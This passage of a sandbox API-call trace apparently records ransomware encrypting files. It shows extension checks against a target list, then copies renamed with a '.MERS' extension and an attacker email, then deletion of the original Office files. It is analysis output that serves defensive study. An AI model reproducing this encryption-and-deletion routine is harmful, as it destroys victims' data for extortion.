lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.889] lstrlenW (lpString=".doc") returned 4 [0039.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString=".docx") returned 5 [0039.890] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.890] lstrlenW (lpString=".pdf") returned 4 [0039.890] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString=".xls") returned 4 [0039.890] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString=".xlsx") returned 5 [0039.890] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.890] lstrlenW (lpString=".ppt") returned 4 [0039.890] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.890] lstrlenW (lpString=".zip") returned 4 [0039.890] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.890] lstrlenW (lpString=".rar") returned 4 [0039.890] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString=".bz2") returned 4 [0039.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString=".7z") returned 3 [0039.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.890] lstrlenW (lpString=".dbf") returned 4 [0039.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.890] lstrlenW (lpString=".1cd") returned 4 [0039.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.890] lstrlenW (lpString=".jpg") returned 4 [0039.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.890] lstrlenW (lpString=".doc") returned 4 [0039.891] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString=".docx") returned 5 [0039.891] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.891] lstrlenW (lpString=".pdf") returned 4 [0039.891] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString=".xls") returned 4 [0039.891] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString=".xlsx") returned 5 [0039.891] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.891] lstrlenW (lpString=".ppt") returned 4 [0039.891] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.891] lstrlenW (lpString=".zip") returned 4 [0039.891] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.891] lstrlenW (lpString=".rar") returned 4 [0039.891] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString=".bz2") returned 4 [0039.891] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString=".7z") returned 3 [0039.891] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.891] lstrlenW (lpString=".dbf") returned 4 [0039.891] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.891] lstrlenW (lpString=".1cd") returned 4 [0039.891] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0039.891] lstrlenW (lpString=".jpg") returned 4 [0039.891] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.892] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.892] lstrlenW (lpString="ipsfra.xml") returned 10 [0039.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0040.212] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2628) returned 1 [0040.213] CloseHandle (hObject=0x1bc) returned 1 [0040.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0040.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.213] lstrlenW (lpString=".doc") returned 4 [0040.213] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.213] lstrlenW (lpString=".docx") returned 5 [0040.213] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0040.213] lstrlenW (lpString=".pdf") returned 4 [0040.213] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.213] lstrlenW (lpString=".xls") returned 4 [0040.213] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.213] lstrlenW (lpString=".xlsx") returned 5 [0040.213] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0040.213] lstrlenW (lpString=".ppt") returned 4 [0040.213] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.213] lstrlenW (lpString=".zip") returned 4 [0040.213] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.213] lstrlenW (lpString=".rar") returned 4 [0040.214] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString=".bz2") returned 4 [0040.214] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString=".7z") returned 3 [0040.214] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.214] lstrlenW (lpString=".dbf") returned 4 [0040.214] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.214] lstrlenW (lpString=".1cd") returned 4 [0040.214] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.214] lstrlenW (lpString=".jpg") returned 4 [0040.214] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.214] lstrlenW (lpString=".doc") returned 4 [0040.214] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString=".docx") returned 5 [0040.214] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0040.214] lstrlenW (lpString=".pdf") returned 4 [0040.214] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString=".xls") returned 4 [0040.214] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString=".xlsx") returned 5 [0040.214] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0040.214] lstrlenW (lpString=".ppt") returned 4 [0040.214] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.215] lstrlenW (lpString=".zip") returned 4 [0040.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.215] lstrlenW (lpString=".rar") returned 4 [0040.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.215] lstrlenW (lpString=".bz2") returned 4 [0040.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.215] lstrlenW (lpString=".7z") returned 3 [0040.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.215] lstrlenW (lpString=".dbf") returned 4 [0040.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.215] lstrlenW (lpString=".1cd") returned 4 [0040.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0040.215] lstrlenW (lpString=".jpg") returned 4 [0040.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.215] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.215] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0040.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0040.459] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=819) returned 1 [0040.459] CloseHandle (hObject=0x1bc) returned 1 [0040.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0040.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0040.460] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.460] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.460] GetLastError () returned 0x0 [0040.460] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x333, lpOverlapped=0x0) returned 1 [0040.559] WriteFile (in: hFile=0x200, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x340, lpOverlapped=0x0) returned 1 [0040.559] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.559] WriteFile (in: hFile=0x200, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0040.560] SetEndOfFile (hFile=0x200) returned 1 [0040.560] CloseHandle (hObject=0x200) returned 1 [0040.560] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.560] SetEndOfFile (hFile=0x1bc) returned 1 [0040.561] CloseHandle (hObject=0x1bc) returned 1 [0040.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.562] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0040.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.562] lstrlenW (lpString=".doc") returned 4 [0040.562] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString=".docx") returned 5 [0040.562] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0040.562] lstrlenW (lpString=".pdf") returned 4 [0040.562] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString=".xls") returned 4 [0040.562] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString=".xlsx") returned 5 [0040.562] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0040.562] lstrlenW (lpString=".ppt") returned 4 [0040.562] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.562] lstrlenW (lpString=".zip") returned 4 [0040.562] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.562] lstrlenW (lpString=".rar") returned 4 [0040.562] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString=".bz2") returned 4 [0040.562] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString=".7z") returned 3 [0040.562] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.562] lstrlenW (lpString=".dbf") returned 4 [0040.562] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.562] lstrlenW (lpString=".1cd") returned 4 [0040.562] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString=".jpg") returned 4 [0040.563] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString=".doc") returned 4 [0040.563] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString=".docx") returned 5 [0040.563] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0040.563] lstrlenW (lpString=".pdf") returned 4 [0040.563] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString=".xls") returned 4 [0040.563] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString=".xlsx") returned 5 [0040.563] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0040.563] lstrlenW (lpString=".ppt") returned 4 [0040.563] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString=".zip") returned 4 [0040.563] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.563] lstrlenW (lpString=".rar") returned 4 [0040.563] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString=".bz2") returned 4 [0040.563] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString=".7z") returned 3 [0040.563] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString=".dbf") returned 4 [0040.563] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString=".1cd") returned 4 [0040.563] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0040.563] lstrlenW (lpString=".jpg") returned 4 [0040.563] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.564] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.564] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0040.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0040.564] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1231) returned 1 [0040.564] CloseHandle (hObject=0x1bc) returned 1 [0040.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0040.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0040.564] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.564] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0040.574] GetLastError () returned 0x0 [0040.574] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0040.665] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0040.665] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.665] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0040.666] SetEndOfFile (hFile=0x204) returned 1 [0040.666] CloseHandle (hObject=0x204) returned 1 [0040.667] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.667] SetEndOfFile (hFile=0x1bc) returned 1 [0040.667] CloseHandle (hObject=0x1bc) returned 1 [0040.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.668] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0040.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.668] lstrlenW (lpString=".doc") returned 4 [0040.668] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.668] lstrlenW (lpString=".docx") returned 5 [0040.668] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.668] lstrlenW (lpString=".pdf") returned 4 [0040.668] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.668] lstrlenW (lpString=".xls") returned 4 [0040.668] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.668] lstrlenW (lpString=".xlsx") returned 5 [0040.669] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.669] lstrlenW (lpString=".ppt") returned 4 [0040.669] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.669] lstrlenW (lpString=".zip") returned 4 [0040.669] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.669] lstrlenW (lpString=".rar") returned 4 [0040.669] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.669] lstrlenW (lpString=".bz2") returned 4 [0040.669] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.669] lstrlenW (lpString=".7z") returned 3 [0040.669] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.669] lstrlenW (lpString=".dbf") returned 4 [0040.669] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.669] lstrlenW (lpString=".1cd") returned 4 [0040.669] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.669] lstrlenW (lpString=".jpg") returned 4 [0040.669] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office 